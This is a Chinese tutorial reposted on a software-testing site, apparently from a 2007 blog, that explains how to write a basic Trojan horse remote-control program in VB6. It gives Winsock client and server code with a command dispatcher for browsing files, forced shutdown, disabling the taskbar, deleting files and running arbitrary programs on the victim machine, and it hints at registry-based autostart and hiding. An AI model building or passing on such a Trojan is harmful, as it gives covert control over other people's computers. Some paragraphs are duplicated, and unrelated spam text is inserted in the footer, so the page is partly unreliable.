• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    淺談用VB6.0編寫“特洛伊木馬”程序

    發布: 2007-5-25 09:19 | 作者: cxbkkk | 來源: CSDN BLOG | 查看: 37次 | 進入軟件測試論壇討論

    領測軟件測試網  “特洛伊木馬”有被稱為BO, 是在美國一次黑客技術討論會上由一個黑客組織推出的。它其實是一種客戶機/服務器程序,其利用的原理就是:在本機直接啟動運行的程序擁有與使用者相同的權限。因此如果能夠啟動服務器端(即被攻擊的計算機)的服務器程序,就可以使用相應的客戶端工具客戶程序直接控制它了。下面來談談如何用VB來實現它。

      使用VB建立兩個程序,一個為客戶端程序Client,一個為服務器端程序systry。

       在Client工程中建立一個窗體,加載WinSock控件,稱為tcpClient,協議選擇TCP,再加入兩個文本框,用以輸入服務器的IP地址或服務器名,然后建立一個按鈕,按下之后就可以對連接進行初始化了,代碼如下:

    Private Sub cmdConnect_Click()
     If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
      MsgBox ("請輸入主機名或主機IP地址。")
      Exit Sub
     Else
      If Len(Text1.Text) > 0 Then
       tcpClient.RemoteHost = Text1.Text
      Else
       tcpClient.RemoteHost = Text2.Text
      End If
     End If
     tcpClient.Connect
     Timer1.Enabled = True
    End Sub

      連接建立之后就可以使用DataArrival事件處理所收到的數據了。

      連接建立之后就可以使用DataArrival事件處理所收到的數據了。

      在服務器端systry工程也建立一個窗體,加載WinSock控件,稱為tcpServer,協議選擇TCP,在Form_Load事件中加入如下代碼:

    Private Sub Form_Load()
     tcpServer.LocalPort = 1999
     tcpServer.Listen
    End Sub

      準備應答客戶端程序的請求連接,使用ConnectionRequest事件來應答戶端程序的請求,代碼如下:

    Private Sub tcpServer_ConnectionRequest
    (ByVal requestID As Long)
     If tcpServer.State < > sckClosed Then
      tcpServer.Close‘檢查控件的 State 屬性是否為關閉的。
     End If ’如果不是,在接受新的連接之前先關閉此連接。
     tcpServer.Accept requestID
    End Sub

      這樣在客戶端程序按下了連接按鈕后,服務器端程序的ConnectionRequest事件被觸發,執行了以上的代碼。如果不出意外,連接就被建立起來了。

      建立連接后服務器端的程序通過DataArrival事件接收客戶機端程序所發的指令運行既定的程序。如:把服務器端的驅動器名、目錄名、文件名等傳到客戶機端,客戶機端接收后用TreeView控件以樹狀的形式顯示出來,瀏覽服務器端文件目錄;強制關閉或重啟服務器端的計算機;屏蔽任務欄窗口;屏蔽開始菜單;按照客戶機端傳過來的文件名或目錄名,而刪除它;屏蔽熱啟動鍵;運行服務器端的任何程序;還包括獲取目標計算機屏幕圖象、窗口及進程列表;激活、終止遠端進程;打開、關閉、移動遠端窗口;控制目標計算機鼠標的移動與動作;交換遠端鼠標的左右鍵;在目標計算機模擬鍵盤輸入,下載、上裝文件;提取、創建、修改目標計算機系統注冊表關鍵字;在遠端屏幕上顯示消息。DataArrival事件程序如下:

    Private Sub tcpServer_DataArrival
    (ByVal bytesTotal As Long)

     Dim strData As String
     Dim i As Long
     Dim mKey As String

     tcpServer.GetData strData
     ‘接收數據并存入strData
     For i = 1 To Len(strData)
      ‘分離strData中的命令
      If Mid(strData, i, 1) = "@" Then
       mKey = Left(strData, i - 1)
       ‘把命令ID號存入mKey

       ‘把命令參數存入strData
       strData = Right(strData, Len(strData) - i)
       Exit For
      End If
     Next i
     Select Case Val(mKey)
      Case 1
      ‘驅動器名、目錄名、文件名
      Case 2
       強制關閉服務器端的計算機
      Case 3
       強制重啟服務器端的計算機
      Case 4
       屏蔽任務欄窗口;
      Case 5
       屏蔽開始菜單;
      Case 6
       按照客戶機端傳過來的文件名或目錄名,而刪除它;
      Case 7
       屏蔽熱啟動鍵;
      Case 8
       運行服務器端的任何程序
     End Select
    End Sub

      詳細程序略。

      客戶機端用tcpClient.SendData發命令。命令包括命令ID和命令參數,它們用符號“@”隔開。

      另外,當客戶機端斷開與服務器端的來接后,服務器端應用tcpServer_Close事件,來繼續準備接收客戶機端的請求,其代碼如下:

    Private Sub tcpServer_Close()
    tcpServer.Close
    tcpServer.Listen
    End Sub

      這就是一個最基本的特洛伊木馬程序,只要你的機器運行了服務器端程序,那別人就可以在千里之外控制你的計算機。至于如何讓服務器端程序運行就要發揮你的聰明才智了,在我的源程序中有一中方法,是修改系統注冊表的方法。

      這就是一個最基本的特洛伊木馬程序,只要你的機器運行了服務器端程序,那別人就可以在千里之外控制你的計算機。至于如何讓服務器端程序運行就要發揮你的聰明才智了,在我的源程序中有一中方法,是修改系統注冊表的方法。

      成功的特洛伊木馬程序要比這個復雜一些,還有程序的隱藏、自動復制、傳播等問題要解決。警告:千萬不要用BO程序破壞別人的系統。

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>